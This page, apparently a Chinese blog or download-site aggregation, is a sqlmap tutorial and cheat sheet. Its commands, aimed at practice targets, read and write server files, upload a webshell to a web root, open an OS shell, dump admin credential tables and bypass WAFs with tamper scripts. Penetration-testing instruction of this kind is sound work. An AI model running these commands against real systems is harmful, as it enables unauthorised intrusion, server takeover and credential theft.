    如果我们不知道网站的根目录的绝对路径的话,我们那里选择4 brute force search 暴力破解,尝试破解出根目录的绝对路径! 

    从数据库中读取文件

    当数据库为Mysql、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

    sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
     

    可以看到,文件读取成功了,并且保存成了 /root/.sqlmap/output/192.168.10.1/files/c__test.txt 文件

    上传文件到数据库服务器中

    当数据库为Mysql、Postgre SQL或者Sql Server,并且当前用户有权限使用特定的函数时,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。

    所以利用上传文件,我们可以上传一句话木马或者上传shell上去。

    sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
     

    这里会问我们是否想验证上传成功,我们选择 y 的话,他就会读取该文件的大小,并且和本地的文件大小做比较,只要大于等于本地文件大小即说明上传功能了

    Sqlmap的更多用法

    除了上面这些用法外,Sqlmap还支持其他的用法,比如定义代理,探测的时候任意的User-Agent头部啊,当我们知道目标数据库类型的时候,直接指定其数据库类型,这样就不会测试其他类型的数据库了

    
     
    1. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql #指定其数据库为mysql
    2. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
    3. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy=PROXY #使用代理进行爆破
    4. -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测

     

    展开全文
  • sqlmap源码

    2017-11-30 20:28:53
    sqlmap源码sqlmap源码sqlmap源码sqlmap源码sqlmap源码sqlmap源码
  • SQLmap

    2021-01-30 09:25:28
    **参数解释**星号在注入的过程中,有时候是伪静态的页面,可以使用星号表示...-level不同的level等级,SQLMAP所采用的策略也不近相同,当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数;当–...

    **参数解释**

    星号

    在注入的过程中,有时候是伪静态的页面,可以使用星号表示可能存在注入的部分

    --data

    使用post方式提交的时候,就需要用到data参数了

    -p

    当我们已经事先知道哪一个参数存在注入就可以直接使用-p来指定,从而减少运行时间

    --level

    不同的level等级,SQLMAP所采用的策略也不近相同,当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数;当–level参数设定为3或者3以上的时候,会尝试对User-Angent,referer进行注入。

    --random-agent

    使用该参数,SQLMAP会自动的添加useragent参数,如果你知道它要求你用某一种agent,你也应当用user-agent选项自己指定所需的agent

    --technique

    这个参数可以指定SQLMAP使用的探测技术,默认情况下会测试所有的方式。

    支持的探测方式如下:

    B: Boolean-based blind SQL injection(布尔型注入)

    E: Error-based SQL injection(报错型注入)

    U: UNION query SQL injection(可联合查询注入)

    S: Stacked queries SQL injection(可多语句查询注入)

    T: Time-based blind SQL injection(基于时间延迟注入)

    **Access注入**

    sqlmap -u 注入点url //判断是否有注入

    sqlmap -u 注入点url --tables //access直接猜表

    sqlmap -u 注入点url --colums -T admin //爆出admin表,猜解它的字段

    sqlmap -u 注入点url --dump -T admin -C "username,password" //猜字段内容

    **MySQL数据库注入**

    sqlmap -u url --dbs //获取数据库

    sqlmap -u url -D 指定的数据库 --tables //获取数据库中的表

    sqlmap -u url -D 指定的数据库 -T 表名 --columns //获取表字段

    sqlmap -u url -D 指定的数据库 -T 表名 -C id,user,pass --dump //获取字段内容

    **Cookie注入**

    网站有判断,不让用and,update等参数时就得加上Cookie。

    sqlmap -u url --cookie="cookie值" --dbs(或)--tables --level 2

    **POST表单注入**

    注入点:

    http://testasp.vulnweb.com/Login.asp

    **几种方式:**

    sqlmap -r burp拦截数据.txt -p Pass(测试参数) //从文件读取数据包

    sqlmap -u http://testasp.vulnweb.com/Login.asp --forms //自动搜索表单

    sqlmap -u http://testasp.vulnweb.com/Login.asp --data "Name=1&Pass=1" //手动添加数据

    **获取系统交互shell**

    1.sqlmap -u http://url.. --os-shell //或者windows可以用--os-cmd 或--sql-shell

    2.选择网站服务端语言

    3.填写网站根目录C:/www/

    **伪静态注入**

    sqpmap -u http://victim.com/id/666*.html --dbs //在html扩展名前加个'*'

    **请求延时**

    Web防注入措施,在访问两次错误页面后,第三次必须访问正确的页面

    --delay 2 //延时两秒访问

    --safe-freq 30 //人为配置次数

    **绕过WAF防火墙**

    sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch

    --tamper "space2morehash.py" //使用tamper脚本绕过

    类似脚本

    space2hash.py base64encode.py charencode.py

    **file参数使用**

    必须为dba权限

    sqlmap -u url --is-dba //查看是否dba权限

    sqlmap -u url --file-write=本地木马路径(D:/shell.php)

    --file-dest=目标根目录(C:/www/shell.php)

    **常用tamper脚本使用**

    地址:http://mp.weixin.qq.com/s/vEEoMacmETUA4yZODY8xMQ

    展开全文
  • SQLMAP2018版本中文详解

    2018-05-13 14:50:22
    sqlmap命令中文详解,2018.5.13更新 sqlmap命令中文详解,2018.5.13更新 sqlmap命令中文详解,2018.5.13更新 sqlmap命令中文详解,2018.5.13更新 sqlmap命令中文详解,2018.5.13更新
  • sqlmap免安装zip包
  • sqlmapproject-sqlmap-1.4.12-46-gae6a812.zip
  • sqlmap操作指南

    2018-06-02 10:49:04
    sql操纵指南sql操纵指南sql操纵指南sql操纵指南sql操纵指南sql操纵指南sql操纵指南sql操纵指南
  • 免除python环境的sqlmap,下载解压后为exe文件,打开就能够使用
  • SqlMap的使用

    2018-06-24 09:32:54
    本文档详细介绍了SqlMap的使用教程,SQL注入攻击是黑客对数据库进行攻击的常用手段之一
  • Atlas-快速SQLMap篡改建议v1.0 Atlas是一个开放源代码工具,可以建议sqlmap篡改绕过WAF / IDS / IPS,该工具基于返回的状态代码。 屏幕 安装 $ git clone https://github.com/m4ll0k/Atlas.git atlas $ cd atlas $ ...
  • sqlmap-1.3.7-19.zip

    2019-07-12 15:17:48
    sql注入漏洞扫描工具,209最新版,1.3.7-19dev开发版。配合python2.7使用。
  • sqlmap图形化界面
  • sqlmap自动化脚本

    2018-03-27 21:28:23
    自己用批处理写的一个sqlmap脚本,不用看手册输命令行了 大部分参数均可设置,也可以自己输入其他参数
  • sqlmap使用文档

    2018-11-11 23:20:02
    sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, ...
  • sqlmap windows版本
  • SqlMap免Python环境绿色版
  • SQLiPy是Burp Suite的Python插件,该插件使用SQLMap API集成了SQLMapSQLMap带有基于RESTful的服务器,该服务器将执行SQLMap扫描。 该插件可以为您启动API或连接到已经运行的API来执行扫描。 要求 Jython 2.7 ...
  • ThinkPHPSQL0day ThinkPHP3.0~3.3 betweenSQL注入的sqlmap Tamper!
  • 分享一下自己学习sqlmap的过程,因为网上的资源很少,所以就想着写个博客记录一下,同时也分享一下吧。就先讲到这里吧,有问题的可以私信。欢迎大家提意见。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 40,660
精华内容 16,264
关键字:

sqlmap

友情链接: eglibc-2.19.zip